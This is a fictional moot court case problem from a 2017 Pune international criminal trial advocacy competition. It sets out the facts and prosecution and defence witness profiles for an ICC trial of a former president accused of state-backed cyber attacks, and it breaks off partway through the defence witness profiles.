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SYMBIOSIS LAW SCHOOL, PUNE - INTERNATIONAL CRIMINAL TRIAL ADVOCACY COMPETITION, 2017

SECOND SYMBIOSIS LAW SCHOOL,


PUNE - INTERNATIONAL CRIMINAL
TRIAL ADVOCACY COMPETITION
[SICTA]
MARCH 31, 2017 – APRIL 02, 2017

COMPROMIS (REVISED)

SPONSORS

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INDEX

INDEX ................................................................................................................................ 2

COMPETITION COMPROMIS: ELEMENTARY FACTS ............................................ 4

PROSECUTOR’S WITNESSES PROFILES.................................................................... 14

PW – 1 (Profile of Prosecutor Witness – 1) ..................................................................... 14

PW – 2 (Confidential, Profile of Prosecutor Witness – 2) .............................................. 16

PW – 3 (Profile of Prosecutor Witness – 3)..................................................................... 17

PW – 4 (Profile of Prosecutor Witness – 4)..................................................................... 18

PW – 5 (Confidential.Profile of Prosecutor Witness – 5) ............................................... 21

DEFENSE WITNESSES PROFILES ............................................................................. 22

DW – 1 (Profile of Defence Witness – 1)........................................................................ 22

DW – 2 (Profile of Defence Witness – 2) ....................................................................... 23

DW – 3 (Profile of Defence Witness – 3) ....................................................................... 24

DW – 4 (Profile of Defence Witness – 4) ....................................................................... 25

DW – 5 (Profile of Defence Witness – 5) ....................................................................... 26

VICTIM WITNESS PROFILES ...................................................................................... 27

Victim Witness – 1 (Confidential) .................................................................................. 27

Victim Witness – 2 ......................................................................................................... 29

ANNEXURE – 1(A): Confession Record 035 ................................................................... 30

ANNEXURE – 1(B): Confession Record 042 ................................................................... 32

ANNEXURE – 2: Press Release ....................................................................................... 34

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ANNEXURE – 3: Transcript ............................................................................................ 36

ANNEXURE – 4: Medical Report .................................................................................... 37

ANNEXURE – 5: Media Reports ..................................................................................... 39

ANNEXURE – 6: Blog by John Dash ............................................................................... 41

ANNEXURE – 7: Transcripts .......................................................................................... 43

ANNEXURE – 8: Newspaper Report in The Economist ................................................ 46

ANNEXURE – 9: Interview by Truth Commission ......................................................... 48

ANNEXURE – 10: Code .................................................................................................... 51

ANNEXURE – 11: Blog by Riley Mercer ......................................................................... 54

ANNEXURE – 12: Tweets ................................................................................................ 58

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COMPETITION COMPROMIS: ELEMENTARY FACTS1

1. Vanderguard, a democratic republic, has been hailed as one of the upcoming third world
nations by a plethora of international political observers. The country has been driven on
capitalistic market tendencies and has excelled in establishing a strong trade network with its
allies. At the time of relevant events, the country was governed by Jack Sparrow as its
President. Sparrow was elected on a populist platform in lieu of various reforms suggested in
his manifesto concerning the economy of the country.

2. His manifesto also supported an apparent reduction of the armed forces, particularly in
relation to their activities outside Vanderguard, and asserted the significance of building a
robust homeland defence. However, this apparent reduction of armed forces for overseas
operation masked a political belief that the private sector should be engaged in defence
activities to a higher degree. The manifesto also supported use of mercenary operations to
further the interests of Vanderguard abroad. There were two linked reasons for this: first, his
belief that there would be a greater efficiency in achieving the outcome if profit motives
rather than public service motives were at the fore; secondly, his view that such engagement
could further socio-economic interests of Vanderguard without upsetting the rules of
international humanitarian law and of international human rights law.

3. To support this policy and to reduce the apparent contribution of the Government of
Vanderguard to these privatised overseas activities, Sparrow had a tax policy that allowed
corporations and private individuals to make tax-deductible contributions to a list of
approved organisations that were designed ostensibly to offer developmental aid in foreign
countries where Vanderguard had strategic interests. However, these organisations were
engaged in funding armed operations in these countries, either in support of or against the
government of the particular country depending on the interests of Vanderguard. As a result,
funds that would have been received by the tax authorities of Vanderguard were diverted to
these operations. Back channel communications between senior officials in the Sparrow
administration and various corporations as well as business-houses also made it clear that
governmental awards of contracts would take into account the level of contribution made to
these approved organisations.

1The Compromis is framed by Members of the SLSP – Student Bar Association; Mr. Parth Dixit, Student of Symbiosis
Law Schol, Pune in consultation with Prof. (Mr.) Kris Gledhill, Associate Professor, Auckland University. Any
participant or team or an individual related to the participant or the team, who tries to contact the Problem
Framer(s) shall be disqualified from the competition.

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4. The historical evolution of Vanderguard would itself suggest that the country was very
proactive in using non-conventional means to secure political mileage in the international
community. Vanderguard was among the first of the third world nations to openly support
using information technology to coerce nations responsible for destabilizing world order. As
early as 1983, the country publicly appreciated US President Ronald Reagan’s idea of
developing the Strategic Defense Initiative (termed as the ‘Star Wars episode’ by the media).
Additionally, the government had taken concrete efforts in compounding its cyber
infrastructure and information technological capabilities. Sanctions had been given for the
establishment of various research facilities to further this objective and state-of-art
equipments and machinery had been commissioned from developed countries of the world.
In terms of capable human resource to man such facilities, the government through its
human resource ministry had offered lucrative packages to students from the IT sector as
incentives to join the government programmes. The administration believed that the
innovative capability, coupled with the gullibility of youngsters made them better recruits
than seasoned operators.

5. Further, along the lines of the United States Cyber Command, the Sparrow government had
established ‘WarLock’, a military industrial complex with an investment worth billions of
dollars. According to the official press-release by the Government, WarLock, inaugurated in
2012, was an initiative by the administration aimed at securing requisite defence mechanism
in case of a cyber confrontation by a foreign entity, whether such foreign entity was private
or state controlled or a combination of both. Vested interests including the defense industry,
arms lobby, business community as well as associations with private military had contributed
to the establishment and the operational capacity of WarLock. The press release further
detailed the extant policy of the government towards cyber warfare and also encapsulated the
constitutive nature of WarLock. [Refer to relevant annexure].

6. Although concerns about cyber defense mechanisms have recently caught the attention of
most countries, Vanderguard, courtesy to its political allies, was able to develop information
systems capable of thwarting kinetic attacks in 2005. To this extent, the Vanderguardian
Defence Ministry, had drafted a national retaliation policy dedicated to cyber defence way
back in 2006. In fact, according to certain media reports, the accused, by virtue of being the
Defense Minister at that time, was privy to the infiltration of networks during the Georgian
War of 2007.

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7. The specific facts on which the charges in the indictment were based related to the actions of
a rebel group in the Republic of Peralta, an underdeveloped island in the Southern Atlantic
that was a likely major source of rare earth minerals that were very important to much of
modern technology, as revealed by geological surveys. The government of Peralta was both
notoriously xenophobic and also, in light of a general objection to economic progress,
favoured a policy of leaving the earth’s resources in the ground. As such, it had rejected
overtures from corporate interests in Vanderguard which identified the potential profit from
mining the rare earth minerals. The economy in Peralta was primarily based on agriculture
and forestry and was also a major tourist destination. The backbone of tourism in Peralta was
its natural terrain.

8. There was an opposition movement in Peralta that intended to pressurize the government
into permitting foreign investments in limited sectors atleast, such as mining and defence.
The movement was construed with the objective of ameliorating the employment rate and in
turn, the living conditions of rural Peralta which had for several years remained a reclusive,
closed economy. This movement was orchestrated by a rebel group called Revolution-17/5.
There were indicators that Revolution-17/5 was being aided by the Sparrow administration
with the objective of de-stabilising the sitting government of Peralta. Political commentators
feared that Sparrow intended to orchestrate conditions more favourable to the introduction
of corporate-friendly regulations and reduction in tariff barriers which in turn would allow
leading Vanderguardian companies to be imbibed in the economy of Peralta.

9. On December 15, 2012 the Peraltian public information dispensation system faced a massive
outbreak. The outbreak lead to all modes of transportation, including roads, railways as well
as subway networks being grounded due to fragmented communications between servers
exchanging live data which were responsible for smooth passage of traffic. All metropolitan
cities of Peralta faced huge loss of property. Additionally, there were reports of roughly 1200
people succumbing to injuries caused during the multiple instances of railway and roadways
related accidents. What made matters worse, was the inability of relief teams dispatched from
the various health centres to reach the sites of impact on time. This failure was alluded to a
semantic attack on the health monitors dedicated to receiving all health related
complaints/information from the entire country. John Dash, a leading technocrat of the
United States and consultant to the Information and Broadcasting Ministry of the Republic
of Peralta, in his blog post explained that the attack on the system was a complex one,

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wherein, in his personal opinion, the attackers surreptitiously fed inaccurate information to
the concerned computer system. [Refer to relevant annexure].

10. While the Peraltian citizenry was still reeling from the impact of incidents of December 15,
the newly established depository of Peralta, Sir Wilson National Securities Depository
Limited (popularly known as the Wilson Institute), under which the government hoped the
process of dematerialization of all financial securities could be completed, was hijacked on
January 02, 2013 using an innocuous worm that apparently infiltrated the secured computed
networks recently commissioned to oversee the dematerialization process through the
various stock exchanges in the country. The worm-Slugfest, before it could be successfully
quarantined, was successful in erasing financial data worth $ 27 million from the electronic
vaults of the secured systems. This attack took place during the New Year’s celebrations.
Leading economists of the country predicted a huge blow to the economy in the aftermath
of the attacks. The agriculture sector was worst hit by impact of this attack. The
Government, in order to effectuate the merger of agrarian economy with the equity market,
had given incentives to farmers to invest in companies around the same time as it released a
manifesto concerning dematerialization. Local media reported as many as 550 incidences of
suicide by the farmers of the country who felt ruined after all their life earnings were lost in
the stock market crash. Investigators compared the attack to the 2010 attacks on the Iranian
nuclear facilities. There was a huge public outburst following the crash of the stock market.
On January 07, 2013 common citizenry resorted to violent protests against the government
on the road leading to the seat of the legislature. The protest further escalated with physical
confrontations between the protestors and the riot-control police forces that were employed
by the Government. Certain miscreants from the public were members of the rebel group.
According to police investigation, these miscreants were strategically placed within the crowd
to instigate violence. There are reports which suggest that these miscreants worked for one
Mr. Poppoye, a rebel leader of Revolution-17/5, with strong ties to the Sparrow
administration.

11. The mounting public pressure on the Peraltian authorities reached the highest rung of
infamy on January 14, 2013 when a botnet attack was carried out against all major utilities such
as cellular networks, electricity supply and hydroelectric power plants of Peralta. The sector,
which bore the worst brunt of this attack, was the health industry. The attack which was
immediately followed by a massive data dump, saw the release of thousands of patient
profiles when the servers of Anthro, the largest health insurer company of Peralta, were

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infiltrated. This attack was caused due to a bug called IsotopeX and according to reports in the
local media, the same was manufactured in the advanced labs of Vanderguard. The attack
jeopardized the privacy and security of thousands of people. Multiple casualties were
reported when the electricity supply to hospitals was cut for 34 hours before it could be
restored to a limited extent. The supply of water to the most fertile parts of Peralta were also
hit by what authorities explained was a well-coordinated UDP attack that was done using
sophisticated software which was beyond the means and understanding of the rebel groups.

12. During the course of these attacks, it was anticipated that the Peraltian Government, taking
cognizance of its feeble cyber-infrastructure, would seek help from the advanced nations in
order to take charge of the derailed public tranquillity situation. Sensing an opportunity in the
chaos constructed, the Sparrow administration sent its envoy stationed in Peralta to persuade
the government to have an open dialogue with the administration on possible technology
transfer deals by means of international covenants. However, contrary to popular
expectations, the Government of Peralta bluntly refused to submit to any attempt by
Vanderguard at exploiting its vulnerability. In fact, in the heat of the moment, the Peraltian
authorities issued a warning against Vanderguard’s diplomatic mission in Peralta stating in
clear terms to either stop creating unnecessary pressure or to leave the country. Even though
the warning issued was supposed to remain confidential, certain elements in the Foreign
Ministry leaked it to the local media. Media reports over this development were carried out in
all major newspapers the next day. Condemning the actions of its Government, Revolution-
17/5 released pamphlets later, vowing to avenge the disgrace brought upon the Peraltian
people by its government and to take all measures necessary to mollify its ‘generous foreign
benefactors’. Subsequently, on January 20, 2013 a decision was taken by the group, first, to
plant stories in overseas media that there were concerns about the infrastructure for airline
safety in Peralta and then, a few weeks later, on February 05, 2013 to hack the air traffic
control systems and put an aircraft on a collision course. When this was put into effect at
dusk, the first two sets of pilots were able to take effective measures to avoid collision and
sent messages to the ground controllers regarding the problem, but whilst investigations
were ongoing as to the cause of the problems, a plane descending through clouds collided
with one that was ascending. This crash claimed the lives of over 300 people and severely
impacted the tourism industry. Immediately following this incident, Jack Sparrow
commented in a television broadcast, “We are naturally devastated that this crash has occurred and we
send out our condolences particularly to the families of the ten citizens of Vanderguard who died. But we have

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constantly remarked that the government of Peralta is not fit for purpose and call for the country to adopt
policies that are more in fitting with its participation in the modern world”.

13. The activities described above were starting to wear the population of Peralta down. On the
other hand, the Sparrow Presidency, which began in 2008, came to an end, paving way for
the next election cycle. A number of whistleblowers from within government caused
investigative journalists to put together various elements of the policies noted and led to
suggest that Sparrow was directly implicated in the chain of command. There was no doubt
that these stories assisted those who opposed Sparrow including Bruce William, his main
political rival, who was duly elected. William then released information that pointed to the
above facts and regarding the personal involvement of Sparrow in setting the overall policies.
The material released included an email from him to the director of the Vanderguardian
Overseas Security Secretariat stating, “you have my approval to use all means at my disposal to secure
speedy access to the rare earth minerals, along the lines of what we discussed previously ”, which was sent a
month before the cyber-attack on the air traffic control system.

14. President William also communicated with the prosecutor at the ICC and indicated that his
administration would not raise any objections if Sparrow were to be arrested outside
Vanderguard and brought before the ICC.

15. Peraltian Citizens in Shock (PCS) was a group that represented all those who had been
directly affected by the various incidents, ranging from the attacks in between December 15
– January 15, to the families of the Peraltians killed in the plane crash. The PCS started a
nation-wide campaign to bring the perpetrators of the said attacks to justice. The campaign
received popular support in both the domestic as well as international media. This pressure
was felt at the United Nations as well where a resolution was passed on March 26, 2015 by
the Security Council which acknowledged the attacks on Peralta as acts covered under
Chapter VII of the UN Charter. Bowing to the pressure created by this campaign, the
Peraltian government, on September 16, 2014 established the Peraltian Truth Commission
with the mandate of recording authentic testimony of victims who had been directly
impacted by the attacks. Its mandate also covered collecting evidence from various domestic
enforcement/investigative agencies. The Commission was constituted with a dynamic
membership, comprising of 60% of PCS members and 40% of members coming from the
most elite as well as respected members of the civil services who had close ties with the loss
of property due to the attacks discussed above. The Commission was given financial as well
as executive resources to seek expert opinion from international agencies. At the end of its

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mandate, which lasted for almost two years, the Commission was able to create, what was,
according to its spokesman, Mr. David Blackfield, “the most detailed and authentic web of dynamic
evidence and witness testimony, which shall act as the final nail to the coffin of those who sought to plunge the
native population of Peralta into abyss.”

16. In order to aid the Commission, the Government simultaneously created a special anti-
terrorism task force with the objective of expediting the investigation. This task force
conducted thorough investigation and detained some prominent members of Revolution-
17/5. These members were considered significant enough for questioning based on their
prior criminal record and their association with the activities conducted by Revolution-17/5.
They were all rounded up in prisons such as PCP-01 and interrogated for hours. Everyday
new reports of such detainment started surfacing. The reports also described the conditions
of the detainees. [Refer to relevant Annexure] The Task Force justified its mechanism on
the basis of necessity. In order to pacify the media channels, the Force also shared the
various ‘names that have come to light’ as a result of the interrogation done. [Refer to
relevant Annexure]

17. In December 2014, when the Office of Prosecutor sought to initiate an investigation
regarding the situation between Peralta and Vanderguard, the Commission opened all its
resources and promised to share all its discoveries with the Prosecutor. This aid was
extremely beneficial to the Prosecutor in terms of convincing the Pre-Trial Chamber to
approve a formal investigation of the situation. During the course of its investigation, in
order to address and press upon the need of an expedited prosecution of the accused in lieu
of the sensitive and perishable nature of the evidence, the Prosecutor presented before the
Court an application to seek appearance of the accused. The Pre-Trial Chamber ruled in
favour of the Prosecutor pursuant to which the accused appeared before the Chamber. The
Chamber, taking into account all the relevant factors, allowed interim relief to the accused
pending his Trial.

18. Thereafter, in May 2015, the Pre-Trial Chamber, following due procedure given under the
Statute confirmed the charges given in the indictment presented by the Prosecutor.

19. Thereafter, the Presidency constituted the Trial Chamber and committed the present case to
the Trial Chamber. Further, in August 2016, after having completed substantial investigation
in the case, the executive committee of the Commission passed a resolution to effectuate an
application from the Commission to the International Criminal Court seeking intervention in

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the trial against the accused in order to facilitate the trial and to present the views of its
members as victims of the crimes alleged. The Office of Prosecutor of the ICC, in an official
press release dated September 13, 2016 appreciated the work done by the Commission and
extended full support to the admission of the Commission as a victim party to the trial of
Mr. Sparrow. Meanwhile, on January 03, 2017 the Assembly of State Parties activated the
jurisdiction of ICC over the crime of aggression in accordance to the procedure given in the
Statute. According to a report published by Reuters, the Commission intends to help the
Court in establishing a concrete and reliable factual matrix by corroborating the various
evidences submitted before the Court. Additionally, the report stated that the Commission
intends to add a fresh perspective to the trial of Mr. Sparrow by establishing that the mere
act of using rebel group(s) based in the victim country against the same country can
constitute the crime of aggression. The Counsels representing the Commission, in a press
conference, highlighted the significance attached to the role of victims as separate parties in
terms of assistance provided to the Court in a capacity independent and exclusive to that of
the Prosecutor. The Commission, speaking through their Counsels, further clarified its
position with respect to the Trial. This clarification was made through a press release the
relevant extract of which is reproduced below:

“[...]

The Commission unanimously extends full cooperation to the quest of the ICC
Prosecutor in bringing the perpetrators of the alleged crimes to justice. The Commission
shall aid and advice the ICC Prosecutor on all issues pertaining to and incidental
thereto in the ongoing investigation against Mr. Sparrow. Also, based on the
investigation so far, the Commission intends to divert the attention of the Court to the
possibility of charging the accused with the crime of aggression, subject to confirmation
of the Commission’s participation in the Trial of Mr. Sparrow, as victim. We further
applaud the decision of the Pre-Trial Chamber in shifting the case to the trial stage on
the charges confirmed under the circumstances prevalent during the relevant time span.

[...]”

20. The ICC Prosecutor in response to the press release clarified that despite the cooperation
established between the Truth Commission and his Office, he shall not let go of the
autonomy of this prosecution. He further stated that the strategy developed by his team
shall stand to continue, the focus of which was to ensure that the factor of time was not

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compromised.. He explained that time had always been of the essence in the case against
Mr. Sparrow and that this leverage of time gained by the Prosecution through expediting
Pre-Trial process would not be easily surrendered.

21. The Parties have been duly notified by the Trial Chamber and are expected to submit
their written submission (memorials) as per the Official Rules of SICTA, 2017. The trial
of Mr. Jack Sparrow is set to commence on April 01, 2017 on the following charges as
confirmed by the Pre-Trial Chamber:

 Crimes against Humanity of Murder under Art. 7 (1) (a) and Article 28 (a) of the
Rome Statute

 Crimes against Humanity of Other Inhumane Acts under Art. 7 (1) (k) and
Article 28 (a) of the Rome Statute

NOTES:

1. All questions pertaining to the jurisdiction, including but not limited to jurisdiction over
the charges approved / proposed shall not be raised by the participants.

2. Similarly, no question pertaining to the manner or procedure used for securing the
presence of the accused shall be challenged before the Trial Chamber.

3. For purposes of these mentioned issues, participants shall solely rely on the facts given in
the Competition Compromis under strict application of the principle- “as is, there
is…whatever where is”.

4. The participants are at the liberty to develop multiple strategies to be used in the
different oral-rounds of the Trial and the same is encouraged. These strategies are
expected to be flexible enough to accommodate the choice made by the opponent in
terms of witnesses and other similar factor(s).

5. Notwithstanding anything mentioned in Point 4, the memorials submitted by the


Participants shall cover all aspects of the law as applicable to the factual matrix in the
backdrop of the charges confirmed and/or proposed.

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6. Paying due reverence to the theme of SICTA, 2017, the participants are encouraged to
understand and showcase the technical nuances of different fictional events that have
transpired in the factual matrix.

7. Through oral submissions, the parties in their respective roles are expected to appreciate
the Rules of Procedure and Evidence used by the International Criminal Court.
Additionally, the participants are also encouraged to appreciate and put into use the
various principles of evidence law used in various parallel jurisdictions and justify the
application of the same in an ICC based trial with cogent reasons.

8. The Official Compromis, including all the annexure, is a work of fiction and has been
framed with the sole intention of facilitating advanced study of international criminal law
and for the development of professional advocacy skills. The Compromis has no
connection, intentional or otherwise, to any historical/political event and does not
represent any ideology or affiliation to any political/non-political issue.

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PROSECUTOR’S WITNESSES PROFILES

PROFILES COLLECTED FROM THE INTERVIEWS / INVESTIGATIONS CONDUCTED BY THE OFFICE


OF PROSECUTOR (OCP) WITH THE AID OF PERALTIAN TRUTH COMMISSION

PW – 1 (Profile of Prosecutor Witness – 1)

Name: Melosandro
Nationality: Peraltian
Occupation: N/A
Age: 23

General Description: PW1 has been a member of Revolution-17/5. The tirade of attacks on
Republic of Peralta disgruntled him to the extent that he choose to surrender before police
authorities and has chosen to be a prosecution witness before the ICC. In return for his valour,
the authorities have decided to seek a lenient sentence for him from the domestic courts where
he faces prosecution for his involvement with the rebel group. In an interview scheduled with
the Office of ICC Prosecutor, he narrated the entire political setup within Revolution-17/5
which revealed that the group operated in the most secretive manner. 95% of the members were
kept in the dark about the source of funding or technical support used by the group. The group
comprised of roughly 500 members constituting the offensive force which was further divided
into 4 smaller units of equal strength. These 500 members were managed by a group of 20
regional commanders in equal proportion and were concentrated across the terrain. These 20
commanders were responsible for securing the requisite funds for their respective units. The
commanders were jointly responsible to and contributed towards the ‘Central Spike’, which was
the top brass executive committee. The Central Spike comprised of members nominated by and
on behalf of the 20 regional commanders. Nomination to the Central Spike was eyed as an
incentive by the commanders who were motivated by greed and therefore pulled all possible
manoeuvres to impress the sitting members of the Spike. The custom was that the commander
who secures maximum funds and/or is able to cause maximum disturbance in the administrative
set-up of the Government in his region would get an edge over others in the nominations to the
Central Spike. According to the witness, Mr. Poppoye was a commander in charge of the
Northern terrain. He was ambitious and ruthless. The witness recalled hearing a conversation

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between two of unidentified commanders, the subject matter of which was the proximity of
Poppoye to the Vanderguardian President. He recalls the two commanders detailing the
instructions given to Mr. Poppoye, by a member of some private firm, according to which he
was expected to cause the maximum casualty in the mission given which included ‘blowing up’ a
primary utility service using the apparatus provided.

Prosecution Brief: Through the testimony of PW1, inter alia, the following points shall be
aimed to be established before the Court:

 The motive/intention of the direct perpetrator, Mr. Poppoye, behind the alleged
crime against humanity committed on February, 2013.

 The chain of command with respect to event of February, 2013 which leads to the
accused being at the helm of affairs.

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PW – 2 (Confidential, Profile of Prosecutor Witness – 2)

Name: [Redacted]
Nationality: [Redacted]
Occupation: Former employee of the Royal Presidency Palace
Age: 78

General Description: PW2 has agreed to testify before the ICC only on the condition of
absolute anonymity. PW2 was a member of the janitorial service at the Royal Presidency Palace-
the official residence for all Presidents of Vanderguard. The witness testifies that the accused
held continuous meetings with the members of Spelter Pvt. Ltd. These meetings were usually
short and involved members of Spelter seeking permission from the accused, either oral or
written. The witness also recalls a specific meeting between the accused and some prominent
members of Revolution-17/5 who were later reported to be dead in an encounter with the
Peraltian police. This specific meeting took place on December, 2012 and had some members of
Spelter as well. According to the witness, the accused along with the other people in the meeting
discussed and finalized the schedule and timings of some coordinated disruption in Peralta. The
witness testifies that the subject of conversation in these meetings was proper and consistent
ground support that was to be provided to the rebel group by the said company. The accused,
according to the witness, laid a lot of emphasis on ensuring that all loose ends were covered and
that there was no trace of any glitch in the execution of his plan that could lead investigators, or,
in case of a UN authorized investigation, of international forces, to WarLock.

Prosecution Brief: Through the testimony of PW2, inter alia, the following points shall be
aimed to be established before the Court:

 That the accused was well in command over the preparation and execution of the three
attacks that took place on December, 2012; January, 2013 and January, 2013
simultaneously.

 That the accused exercised effective control over his business empire.

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PW – 3 (Profile of Prosecutor Witness – 3)

Name: Mr. Brian O’ Conner


Nationality: Peraltian
Occupation: Serving Member of the Special Anti-Terrorism Task Force
Age: 39

General Description: The witness is a member of the special task force created by the Peraltian
Government to take over the investigation of various crimes committed from December 2012 to
February 2013. During the course of his investigation, which lasted for roughly 3.5 years, the
witness has helped initiate prosecutions against 110 people connected with the attacks. Out of
these 110 people, 103 individuals belonged to Revolution-17/5. These 110 individuals were
apprehended only after months of undercover investigation and were detained for questioning
only after the approval of concerned authority. The witness asserts that the detainment, besides
being valid under the domestic law of Peralta, helped break communication between the
members of Revolution-17/5 thus denying them any opportunity to further weaken/taint the
evidence/testimony with respect to the said attacks. The victim further justifies the same based
on necessity as the gravity and scale of aggression caused by the participation of the rebels
warranted nuanced inspection of the factual circumstances elicited from the detainees. The
witness intends to testify in favour of the authenticity and reliability of the confessions and
statements given to the Task Force by the detained members of Revolution-17/5. The witness
further justifies the use of methods such as death threats, mock executions, blinding with light,
oxygen deprivation et cetera on the basis of Peralta’s domestic penal code. The witness also
testifies in favour of the various voice intercepts presented as evidence before the ICC. Although
the witness admits that with respect to the chain of custody the intercepts were recorded and
handed over to the task force by members of local police, the same were cross-verified by an
internal committee made within the task force.

Prosecution Brief: Through the testimony of PW3, inter alia, the following points shall be
aimed to be established before the Court:

 That the testimony of the witness corroborates the confessions and statements rendered
by the detained members of Revolution-17/5, thereby implicating the accused
responsible for the crimes he has been charged with.

 That the testimony of the witness corroborates the voice intercepts as valid and reliable.

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PW – 4 (Profile of Prosecutor Witness – 4)

Name: Dr. Cooper


Nationality: Peraltian
Occupation: Cyber Security Expert/Member, Peraltian Truth Commission
Age: 47

General Description: The witness has closely monitored the investigation of the attacks on the
technology front. The witness wants to put forth before the ICC, the conclusions of the Truth
Commission with respect to the investigation carried on. These conclusions revolve around the
nature of the attacks. Apart from the technical details which the witness intends to put before
the Court, he strongly asserts the proposition that the highlight of these attacks would be the
strategic placement of individuals who would assist these sophisticated attacks from a different
location. The following are important points highlighted by the witness during the course of
initial interviews with the Office of Prosecutor:

Sr. Attacks by reference Type of


Comments
No. to date of occurrence Attack

1. December, 2012 Planting As the name suggests, in such attacks, the


inaccurate attacker feeds inaccurate information to a
information computer system. A fine example of such
attacks would be instances wherein States have
entered the airspace of another State without
getting detected due to false information being
fed to the radars of the State attacked. However,
the difficulty faced by the investigators in the
present case is that while usually such attacks are
followed by a kinetic attack, in the absence of
the same, attribution of criminality, in the
absence of other clinching evidence, has
become difficult.

2. January, 2013 Secure This is perhaps the most basic type of cyber
network attack wherein once inside a secured/unsecured

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infiltration network/computer system, the attacker can


execute a variety of damaging operations
including but not limited to operations such as
cyber-espionage and extinguishment of secured
files as well as possible damage to the recovery
system pre-installed in such systems. However,
such infiltration does usually require physical
assistance in some capacity and in the present
case it was indeed provided based on the
investigation carried so far.

3. January, 2013 DDoS A DDoS is a more sophisticated form of attack.


The basic mechanism behind the attack is the
employment of hijacked ‘zombie’ computers
being used to overwhelm a network to the
extent that its system or network resources are
exhausted. In the present case, investigations so
far have revealed an extremely advanced and
highly coordinated actor to be behind these
attacks. Our estimate reveals that close to 2
million computers must have been used to
create such an attack which would be equivalent
to roughly 6000-7000 clicks per second on the
targeted network. History is replete with
examples of such attacks. For instance, in 2010,
immediately preceding the country’s first
national election, Burma faced a massive DDoS
attack that prevented the entire country from
accessing the internet. A similar attack, 2007,
chopped off the emergency line in Estonia for
almost an hour. However, the biggest challenge
that remains to be solved is a mechanism to
trace the originator of such attacks.

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4. February, 2013 Boot-Trap While the investigation continues, the only fact
that can be shared with respect to the attack of
05th February is that the control room faced a
massive disruption in form of a computer virus
which made systems reboot themselves infinite
times thus rendering the personals helpless in
face of adversary. The only manner in which
this virus could have entered the ATC systems is
through manual execution.

Prosecution Brief: Through the testimony of PW4, inter alia, the following points shall be
aimed to be established before the Court:

 That based on the investigation carried so far, the attack has been a result of months of
planning and coordination.

 That the attack is beyond the means and capabilities of Revolution-17/5. In fact, the
level of sophistication involved could have been obtained only through a State’s
resources.

 The criminal design behind the attacks: Even though the attacks were different in form
and were executed at different times, they were strategically placed within a time gap of
15 days of occurrence. Further they targeted those systems which are most vital for
governance.

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PW – 5 (Confidential.Profile of Prosecutor Witness – 5)

Name: [Redacted]
Nationality: [Redacted]
Occupation: Technician, Aviation Authority of the Republic of Peralta
Age: 27

General Description: The witness intends to give testimony regarding the collision that
occurred on February 05, 2013. According to the witness, to effectuate such a collision, a
primary requirement was access to the decoding file that had all the messages in their decrypted
form as well as the key to the software used for continuous encryption decryption. Without these
2 elements it would be difficult to gain access to the shared network between the aircrafts and
the ground control. Moreover, the positioning of the aircrafts based on their respective
coordinates et cetera is additional data that must have been communicated to the attackers
beforehand. All in all, as per the witness, the entire attack was pre-planned and well coordinated
on a large scale.

Prosecution Brief: Through the testimony of PW5, inter alia, the following points shall be
aimed to be established before the Court:

 That evidence pertaining to the attack carried out on February, 2013 gets corroborated
by the testimony of Witness 5 to the extent that the execution of the attack was
dependant on the support obtained by physical channels in the manner as described.

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DEFENSE WITNESSES PROFILES

DW – 1 (Profile of Defence Witness – 1)

Name: Dr. Vishnu Ramaswamy


Nationality: Indian
Vocation / Occupation: Cyber-Security Expert at McAfee Inc. Headquarters, Florida / Visiting
Professor at the Vanderguard’s National University
Age: 39 years

General Description: DW1 has 20 years of experience working in the field of cyber-security.
He has agreed to be a defence witness and assist the Court by rendering his expertise in the
subject mentioned to help discern the facts from the apparitions which he believes have been
created by the Peraltian Truth Commission, under the guise of neutral investigation, for political
motives.

Defence Brief: Through the testimony of DW1, inter alia, the following points shall be aimed to
be established before the Court:

 That the Peraltian Truth Commission is a political manoeuvre aimed at victimizing the
accused in order to pacify the international pressure created by reform movements
started by the citizenry.
 That the investigation of this Commission, manifested through the various evidence
submitted, was botched up and hence cannot be relied upon.
 That the absence of internal indicators such as a timestamp could heavily impact the
authenticity of any electronic evidence.
 That given the evidence presented, it is practically next to impossible for the
investigation to have reached the source of a botnet attack.
 That for the said attacks to have originated from within the territorial boundaries of
Vanderguard, a lot of data would have to be collected manually from the various strategic
locations in Peralta and then communicated over to individuals sitting in Vanderguard.
In the absence of the same, tracing the genesis of the attacks to Vanderguard would be
an impossibility.

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DW – 2 (Profile of Defence Witness – 2)

Name: Mr. Jack Sparrow (Accused)


Nationality: Vanderguardian
Vocation / Occupation: Former President of Vanderguard
Age: 69 years

General Description: The Accused comes from one of the most affluent families of
Vanderguard. He has received educational qualifications from some of the best universities of
the world. After completing his masters in information technology, the Accused joined the
external intelligence agency of Vanderguard in 1972. By July 2002, he was promoted to the post
of Chief of Intelligence overseeing all intelligence departments of the country. The Accused has
held a notorious reputation pertaining to his ideology of exerting technological supremacy over
nations which thrive on traditional ways of living and have closed economies. He is infamous for
employing a no-holds barred approach against nations which do not entertain the interest of
Vanderguard. By 2005-2006, his approach was also accommodated in the foreign policy of
Vanderguard when he was promoted to the Ministry of Defence. His ideology was crystallized
further when he became the President of Vanderguard which allowed him the opportunity to
influence and improve upon the entire defence regime of Vanderguard.

The Accused has been issued with several indictments in more than 6 countries of the world for
various economic offences. In fact, he has been held guilty by a criminal court in Czech Republic
for aiding the conspirators of a multi-million dollar phishing scam against more than 27 victims
in the country.

Defence Brief: Through the testimony of DW2, inter alia, the following points shall be aimed to
be established before the Court:

 That the Accused is innocent of all the charges against him.

 That the Accused had no control whatsoever over the activities of the rebel group.

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DW – 3 (Profile of Defence Witness – 3)

Name: Miss Jean Gray


Nationality: Vanderguardian
Vocation / Occupation: Technician/ Engineer
Age: 25 years

General Description: The witness is an employee at WarLock. She is a technician and has been
in governmental service since 2009. She details the setup of WarLock explaining that the
technicians were broadly divided into 3 groups for every major project approved by the Defence
Ministry. These groups included the analyzers, the code-makers and lastly the testers. She was
recruited just after her graduation and had to attend specific ceremonies involving nationalistic
preaching before she could start working in WarLock. She maintains that irrespective of anything
that may have happened in neighbouring countries, her service was service for the nation.

Defence Brief: Through the testimony of DW3, inter alia, the following points shall be aimed to
be established before the Court:

 That WarLock was primarily used to develop defence capabilities of Vanderguard.

 That even though IsotopeX was planned and coded in WarLock, it was never approved
by the team of testers which she was a part of, to be used further. Additionally, that such
a programme is capable of being created by anyone with the requisite know-how.

 That WarLock came under the direct command and supervision of the Defence Ministry.

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DW – 4 (Profile of Defence Witness – 4)

Name: Mr. Graymond


Nationality: Peraltian
Vocation / Occupation: Sentry at the PCP-01
Age: 49 years

General Description: DW4 was a sentry stationed at Gate No. 3 of PCP-01, a prison
maintained by the Peraltian Government. He has been in the same service for 12 years. The
